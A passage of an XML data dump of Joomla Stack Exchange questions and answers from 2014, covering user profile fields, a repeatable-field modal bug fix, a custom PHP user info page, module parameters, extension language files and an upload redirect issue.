$userProfile-&amp;gt;profile['address1'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the other hand there are other 3rd party extensions like Community Builder, JomSocial, Easy Social that let you build a user community site, where you can have users with extended profile information. &#xA;If you don't need to build a community, there are other extensions that either override/extend the com_user core component or they work in conjunction with it and give you extra control over the user management. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as said, it depends on what you want to do. For example if you just plan to build a forum, the forum extensions have extra profile fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there are always more advanced solutions like building your own component or application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Links&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/packages/Joomla.Platform.User.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Joomla.Platform / User API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;JED Extensions&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-06-21T18:37:23.177" LastActivityDate="2016-06-21T18:37:23.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostTypeId="2" ParentId="895" CreationDate="2014-05-18T03:52:51.317" Score="6" Body="&lt;p&gt;Ok here is the answer to my own question and a couple of observations and fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly when using the sample block of code within my custom xml component file I neglected to add the field name within my custom database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example: list_templates from the xml example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs to go into the MYSQL database within my component table like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;column name: list_templates &#xA;column type: TEXT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically because its JSON data and it fits best inside a TEXT type column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was the bug where when closing teh Modal and then re-opening it would duplicate the content you add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this I found the repeatable.js file located within media/system/js and made a backup copy of it. I then pasted the uncomplressed version into repeatable js and found that by changing this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 // Set original content for cancel            &#xA;31 origContent = getTrs().clone();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 // Set original content for cancel            &#xA;31 origContent = getTrs();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That it actually fixes the duplication bug. I have done several tests to see if its doing the right thing and it actually is. No data loss is occurring and no data is being duplicated anymore. You can open and close the modal box as many times as you like and it will only ever show you the selections you saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this by closing the view file and reopening the data as well and several other methods all of which are working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I wanted to echo the contents of the JSON within my view as a table below the select button I also added a couple of things to repetable/js to allow me to be able to save and apply after clicking the save button within the modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that when I click save on trghe repeatable fields modal the page saves and applies allowing me to collect the data directly from teh table column field to display on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I achieved this by adding the following couple of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function to get the view=componentnameview from the url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // get the url values function&#xA;&#xA; function getUrlVars() {&#xA;    var vars = {};&#xA;    var parts = window.location.href.replace(/[?&amp;amp;]+([^=&amp;amp;]+)=([^&amp;amp;]*)/gi,    &#xA;    function(m,key,value) {&#xA;      vars[key] = value;&#xA;    });&#xA;    return vars;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then setting a varibale for view like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var componentName = getUrlVars()[&quot;view&quot;]; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then after line 341&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton(''+componentName+'.apply'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the modal Save button does its thing and then joomla saves the item and knows which component view its saving it to and stays on the page. This allows me to collect the table data but also saves the content within the repeatable fields modal in-case the user thought they were saving it and accidentally clicked close on the default button group of the item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I can help someone out with my answer/post. If its not appropriate to put all this in just let me know and i'll move it elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;" OwnerUserId="427" LastActivityDate="2014-05-18T03:52:51.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="904" PostTypeId="1" AcceptedAnswerId="905" CreationDate="2014-05-18T10:07:31.033" Score="9" ViewCount="2167" Body="&lt;p&gt;I guess its going to be complicated but i will try my best to make you understand, what i want to achieve. All i want, is to make a &lt;strong&gt;custom HTML page&lt;/strong&gt;, which will show the information of the user who has logged into my Joomla website. But i want it to be good looking, i want to have a background image, i want to include CSS &amp;amp; different fonts for different Joomla variables. Example of what i want to acheive :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt; Name : &amp;lt;/p&amp;gt; &#xA;&amp;lt;h1&amp;gt; Name of the user who has logged in &amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt; Email : &amp;lt;/p&amp;gt;&#xA;&amp;lt;h2&amp;gt; Email of the user who has logged in &amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i was talking about, assigning &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag to the &lt;strong&gt;Name of the user&lt;/strong&gt; or assigning &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; to &lt;strong&gt;Email&lt;/strong&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to connect a HTML page to the Joomla database &amp;amp; retrieve data from it &amp;amp; display it in this fashion. &lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-10-11T13:21:53.673" Title="Making Custom HTML User Profile Page by using Joomla Variables" Tags="|database|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="905" PostTypeId="2" ParentId="904" CreationDate="2014-05-18T10:19:55.637" Score="9" Body="&lt;p&gt;Ok for starters, you can't use a &lt;strong&gt;.html&lt;/strong&gt; site to display user information, instead you will require a &lt;strong&gt;.php&lt;/strong&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once created, you will need to import the Joomla CMS like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' ));  &#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;$app = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to change line 2 of the code above depending on where the root of your Joomla site is relative to your custom PHP file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to get the user name and email of the current user logged in, simply add the following code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;echo &quot;&amp;lt;p&amp;gt;Name: &quot; . $user-&amp;gt;username . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;h1&amp;gt;Name of the user who has logged in &amp;lt;/h1&amp;gt;&quot;;&#xA;&#xA;echo &quot;&amp;lt;p&amp;gt;Email: &quot; . $user-&amp;gt;email . &quot;&amp;lt;/p&amp;gt;&quot;; &#xA;echo &quot;&amp;lt;h2&amp;gt;Email of the user who has logged in &amp;lt;/h2&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you overall file will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   define( '_JEXEC', 1 );&#xA;   define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' ));  &#xA;   require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;   require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;&#xA;   $user = JFactory::getUser();&#xA;&#xA;   echo &quot;&amp;lt;p&amp;gt;Name: &quot; . $user-&amp;gt;username . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;   echo &quot;&amp;lt;h1&amp;gt;Name of the user who has logged in &amp;lt;/h1&amp;gt;&quot;;&#xA;&#xA;   echo &quot;&amp;lt;p&amp;gt;Email: &quot; . $user-&amp;gt;email . &quot;&amp;lt;/p&amp;gt;&quot;; &#xA;   echo &quot;&amp;lt;h2&amp;gt;Email of the user who has logged in &amp;lt;/h2&amp;gt;&quot;;    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-19T14:31:07.413" LastActivityDate="2014-05-19T14:31:07.413" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="906" PostTypeId="2" ParentId="773" CreationDate="2014-05-18T23:11:44.503" Score="2" Body="&lt;p&gt;I think I found the problem. I was working on one of my own extensions when the same issue came up. Check the HTML output and see if there are two options with a 0 value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the function that caused the issue&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getAdminList()&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;    $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select('DISTINCT notify.admin_to_notify AS id');&#xA;    $query-&amp;gt;from('#__babelu_exams_notification_profiles AS notify');&#xA;&#xA;    $query-&amp;gt;select('admin.name');&#xA;    $query-&amp;gt;join('LEFT', '#__users AS admin ON admin.id = notify.admin_to_notify');&#xA;&#xA;    $query-&amp;gt;order('admin.name');&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    return $db-&amp;gt;loadObjectList();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see we are both using the DISTINCT selector which is probably the root of the issue. Checking the HTML output, this is what the select looked like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;filter[admin]&quot; id=&quot;filter_admin&quot; class=&quot;span12 small chzn-done&quot; onchange=&quot;this.form.submit()&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;   &amp;lt;option value=&quot;&quot;&amp;gt;&#xA;       Filter by Administrator&#xA;   &amp;lt;/option&amp;gt;&#xA;   &amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;&#xA;       Not Assigned&#xA;   &amp;lt;/option&amp;gt;&#xA;   &amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I changed last part of the getAdminList() function slightly to add a title to the default before sending it to my view. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result = $db-&amp;gt;loadObjectList();&#xA;    if ($result[0]-&amp;gt;id == 0)&#xA;    {&#xA;        $result[0]-&amp;gt;name = JText::_('COM_BABELU_EXAMS_RESULTS_NONE_ASSIGNED');&#xA;    }&#xA;    else&#xA;    {&#xA;        $notAssigned = new stdClass();&#xA;        $notAssigned-&amp;gt;name = JText::_('COM_BABELU_EXAMS_RESULTS_NONE_ASSIGNED');&#xA;        $notAssigned-&amp;gt;id = 0;&#xA;        array_unshift($result, $notAssigned);&#xA;    }&#xA;&#xA;    return $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the issue was resolved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. Happy Joomla!ng&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-18T23:11:44.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="907" PostTypeId="2" ParentId="863" CreationDate="2014-05-18T23:29:41.537" Score="3" Body="&lt;p&gt;You only have to add the additional languages to the XML installer of your extension. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;component&quot; version=&quot;2.5.0&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;...&#xA;&#xA;    &amp;lt;!-- Front end translation files --&amp;gt;&#xA;    &amp;lt;languages folder=&quot;language/frontend&quot;&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.todo_cli.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_todo.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.com_todo.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.com_todo.sys.ini&amp;lt;/language&amp;gt;       &#xA;    &amp;lt;/languages&amp;gt;&#xA;&#xA;...&#xA;&#xA;    &amp;lt;!-- Administrator back-end section --&amp;gt;&#xA;    &amp;lt;administration&amp;gt;&#xA;..&#xA;        &amp;lt;!-- Back-end translation files --&amp;gt;&#xA;        &amp;lt;languages folder=&quot;language/backend&quot;&amp;gt;&#xA;&#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_todo.ini&amp;lt;/language&amp;gt;&#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_todo.sys.ini&amp;lt;/language&amp;gt;&#xA;            &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.com_todo.ini&amp;lt;/language&amp;gt;&#xA;            &amp;lt;language tag=&quot;es-ES&quot;&amp;gt;es-ES/es-ES.com_todo.sys.ini&amp;lt;/language&amp;gt;&#xA;&#xA;        &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;..&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ini files follow the usual format. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; ToDo Project&#xA;; Copyright (C) 2014 - 2014 MYCOPYRIGHT. All rights reserved.&#xA;; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php&#xA;; Note : All ini files need to be saved as UTF-8 - No BOM&#xA;&#xA;COM_TODO_ALIGN=&quot;Image Float&quot;&#xA;COM_TODO_ALIGN_DESC=&quot;This will apply the classes 'pull-left', 'pull-center' or 'pull-right' to the '&amp;lt;figure&amp;gt;' or '&amp;lt;img&amp;gt;' element&quot;&#xA;COM_TODO_BROWSE_FILES=&quot;Browse files&quot;&#xA;COM_TODO_CAPTION=&quot;Caption&quot;&#xA;COM_TODO_CAPTION_CLASS_LABEL=&quot;Caption Class&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-05-18T23:35:44.393" LastActivityDate="2014-05-18T23:35:44.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostTypeId="1" AcceptedAnswerId="909" CreationDate="2014-05-19T06:47:16.417" Score="6" ViewCount="305" Body="&lt;p&gt;Is it possible to create a Global Configuration option for all the modules? So for example, Every Module has a Title field, If i wanted to add a &quot;Module Tag Line&quot; field to every module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality what i really want is for every module in position &quot;side-bar&quot; to have a Tag Line Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help Greatly Appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastEditorUserId="268" LastEditDate="2014-05-19T18:09:16.453" LastActivityDate="2014-05-19T18:09:16.453" Title="Creating a Global Parameter for Modules" Tags="|module-display|module-params|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="909" PostTypeId="2" ParentId="908" CreationDate="2014-05-19T09:12:32.893" Score="7" Body="&lt;p&gt;You can do this with modules.php and modChrome:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to your Module and set a title like this: First Title||Underline Title&lt;/li&gt;&#xA;&lt;li&gt;Then open this file joomlaroot/templates/youtemplate/html/modules.php&lt;/li&gt;&#xA;&lt;li&gt;Between the modChrome_xxxx function, put this code:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$moduleTitle = explode(&quot;||&quot;, $module-&amp;gt;title);&#xA;echo &quot;&amp;lt;h3&amp;gt;&quot;.$moduleTitle[0].&quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;if(!empty($moduleTitle[1])){echo &quot;&amp;lt;h5&amp;gt;&quot;.$moduleTitle[1].&quot;&amp;lt;/h5&amp;gt;&quot;;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check this tiny plugin for additional Module Parameters for Joomla:&#xA;&lt;a href=&quot;https://github.com/Nuebel/nnbootstrapparams&quot;&gt;https://github.com/Nuebel/nnbootstrapparams&lt;/a&gt; ! It's for Bootstrap 3 settings, but with little changes, you can use this for your additional modul parameters. &lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-19T09:23:10.163" LastActivityDate="2014-05-19T09:23:10.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostTypeId="2" ParentId="896" CreationDate="2014-05-19T10:52:30.253" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the jpa archive to your local computer&lt;/li&gt;&#xA;&lt;li&gt;Extract it with &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-extract-wizard.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/products/akeeba-extract-wizard.html&lt;/a&gt; and use the setting to &quot;Ignore the most errors&quot;&lt;/li&gt;&#xA;&lt;li&gt;Check if a folder called &quot;AwStats&quot; is there and delete this folder (see for explanation the link by sources.)&lt;/li&gt;&#xA;&lt;li&gt;Upload the extracted files via FTP to you webserver&lt;/li&gt;&#xA;&lt;li&gt;Test&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/support/site-restoration/11146-kickstart-invalid-ajax-data-received.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/support/site-restoration/11146-kickstart-invalid-ajax-data-received.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2014-05-22T13:48:48.237" LastActivityDate="2014-05-22T13:48:48.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="911" PostTypeId="1" AcceptedAnswerId="922" CreationDate="2014-05-19T12:57:32.727" Score="3" ViewCount="689" Body="&lt;p&gt;I have created a upload modal field to upload content into the images directory and it all works perfectly fine, except the redirect after the upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the upload Form in the modal window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JUri::base(); ?&amp;gt;index.php?option=com_file_manager&amp;amp;amp;task=file.upload&amp;amp;amp;tmpl=component&amp;amp;amp;&amp;lt;?php echo $this-&amp;gt;session-&amp;gt;getName() . '=' . $this-&amp;gt;session-&amp;gt;getId(); ?&amp;gt;&amp;amp;amp;&amp;lt;?php echo JSession::getFormToken();?&amp;gt;=1&amp;amp;amp;view=file&quot; id=&quot;uploadForm&quot; class=&quot;form-horizontal&quot; name=&quot;uploadForm&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;uploadform&quot; class=&quot;well&quot;&amp;gt;&#xA;        &amp;lt;fieldset id=&quot;upload-noflash&quot; class=&quot;actions&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;upload-file&quot; class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_MEDIA_UPLOAD_FILE'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;file&quot; id=&quot;upload-file&quot; name=&quot;Filedata[]&quot; multiple /&amp;gt;&amp;lt;button class=&quot;btn btn-primary&quot; id=&quot;upload-submit&quot;&amp;gt;&amp;lt;i class=&quot;icon-upload icon-white&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JText::_('COM_MEDIA_START_UPLOAD'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;return-url&quot; value=&quot;&amp;lt;?php echo base64_encode('index.php?option=com_fal_manager&amp;amp;amp;view=file&amp;amp;amp;layout=modal&amp;amp;amp;tmpl=component'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is how the redirect looks in the controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function upload() {&#xA;        // Check for request forgeries&#xA;        JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));&#xA;        $files        = $this-&amp;gt;input-&amp;gt;files-&amp;gt;get('Filedata', '', 'array');&#xA;        $return       = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('return-url', null, 'base64');&#xA;        $this-&amp;gt;folder = $this-&amp;gt;input-&amp;gt;get('folder', '', 'path');&#xA;        if ($return) {&#xA;            $this-&amp;gt;setRedirect(base64_decode($return));&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just need it to take me back to the original place i was before i uploaded it, the url of the modal is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_file_manager&amp;amp;view=videofile&amp;amp;layout=modal&amp;amp;tmpl=component&amp;amp;function=jSelectVideofile_jform_video&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after upload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_file_manager&amp;amp;view=videofile&amp;amp;layout=modal&amp;amp;tmpl=component&amp;amp;function=jSelectVideofile_jform_video&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Weird I know, its the same url, but its not the same page.. It takes me to the list view of that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Help Greatly Appreciated&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastEditorDisplayName="user404" LastEditDate="2014-05-20T14:39:15.210" LastActivityDate="2014-05-20T15:04:50.430" Title="Joomla Modal Field Redirect" Tags="|component|development|modal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="912" PostTypeId="1" CreationDate="2014-05-18T09:25:55.110" Score="4" ViewCount="2049" Body="&lt;p&gt;I'm new to Joomla and I'm developing a component which includes the creation and submission of  a form. The form submission example at &lt;a href=&quot;http://docs.joomla.org/Developing_a_Model-View-Controller_Component/2.5/Example_of_a_frontend_update_function&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Developing_a_Model-View-Controller_Component/2.5/Example_of_a_frontend_update_function&lt;/a&gt; is very useful, but the warning on top of the page suggesting the example does &quot;not adhere to best practices and do not make optimal use of the flexibility provided by Joomla.&quot; and &quot;This code is not harmful and can be used in components, but could be written in a simpler and more maintainable way&quot; is suggesting there is a better and simpler way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I hope my question is not too general but as a Joomla starter I just try to apply the best practises from the start...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate your help&lt;/p&gt;&#xA;" OwnerDisplayName="Joppo" LastEditorUserId="19" LastEditDate="2014-05-20T06:04:12.693" LastActivityDate="2014-07-24T21:59:33.940" Title="How to code the form submission for a joomla component in an efficient way?" Tags="|component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="913" PostTypeId="1" CreationDate="2014-05-19T20:19:45.960" Score="1" ViewCount="819" Body="&lt;p&gt;For Components and for Modules I know we can get the active ID of an extension using JComponentHelper::getComponent(&quot;com_&lt;em&gt;&quot;) and JModuleHelper::getModule(&quot;mod_&lt;/em&gt;&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I want to be able to obtain the extension ID of lets say a package type. Is there a function in the current CMS libraries (preferable that will work in both 3.3 and 2.5) that will give me this result.  After preliminary search of JInstaller and JInstallAdapter classes I have not found anything immediately useful.  Otherwise I believe option 2 is to do a manual DB query to retrieve the desired ID, which I rather avoid if possible if Joomla is already providing such functionality.&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2014-09-16T23:22:16.643" Title="How To Get Extension ID of any Type" Tags="|joomla-3.x|joomla-2.5|development|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="914" PostTypeId="2" ParentId="913" CreationDate="2014-05-19T20:49:49.213" Score="1" Body="&lt;p&gt;I do not believe this is possible, primarily being because even though a package may be defined as a type of extension in the XML file, it's not really. The package as you probably already know packages up multiple extensions. When you create a new Menu Item, you cannot set the &lt;strong&gt;type&lt;/strong&gt; to a &lt;strong&gt;package&lt;/strong&gt; as it wouldn't know which extensions belonging to the package to call and display. Therefore there is no current package ID to be retrieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a package ID, you will need to write a small database query&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-19T20:49:49.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="915" PostTypeId="1" CreationDate="2014-05-20T05:03:48.097" Score="-1" ViewCount="122" Body="&lt;p&gt;I stumbled across a strange thing. The site I develop uses the &lt;strong&gt;Bootstrap Framework&lt;/strong&gt;. &#xA;Recently the friend, for which I make the site, pointed out that the pictures on one of the pages are extremely large ..&lt;br&gt;&#xA;It appears she uses the &quot;older&quot; version of IE, namely version 8 and indeed the site does not display correctly. It is not the case when using IE 10 or 11, chrome or FF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now tried everything, even changing the pictures from jpg to png and that seems to be a bit better, but still the width is totally ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure it's in the bootstrap files, but can't find the reason for this behaviour (nor the solution to this). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea about how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those amongst you who want to take a look, test site is www.webmatix.be/nikie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There click on Enter Site and choose from the menu &quot;Wie ik ben&quot;&#xA;The top picture displays correctly, the three pictures underneath the text do not.&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="126" LastEditDate="2015-12-02T07:26:16.923" LastActivityDate="2015-12-02T07:26:16.923" Title="Pictures/site are not showing properly in versions of IE lower than 10 with Bootstrap template" Tags="|joomla-3.3.x|bootstrap|browser|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
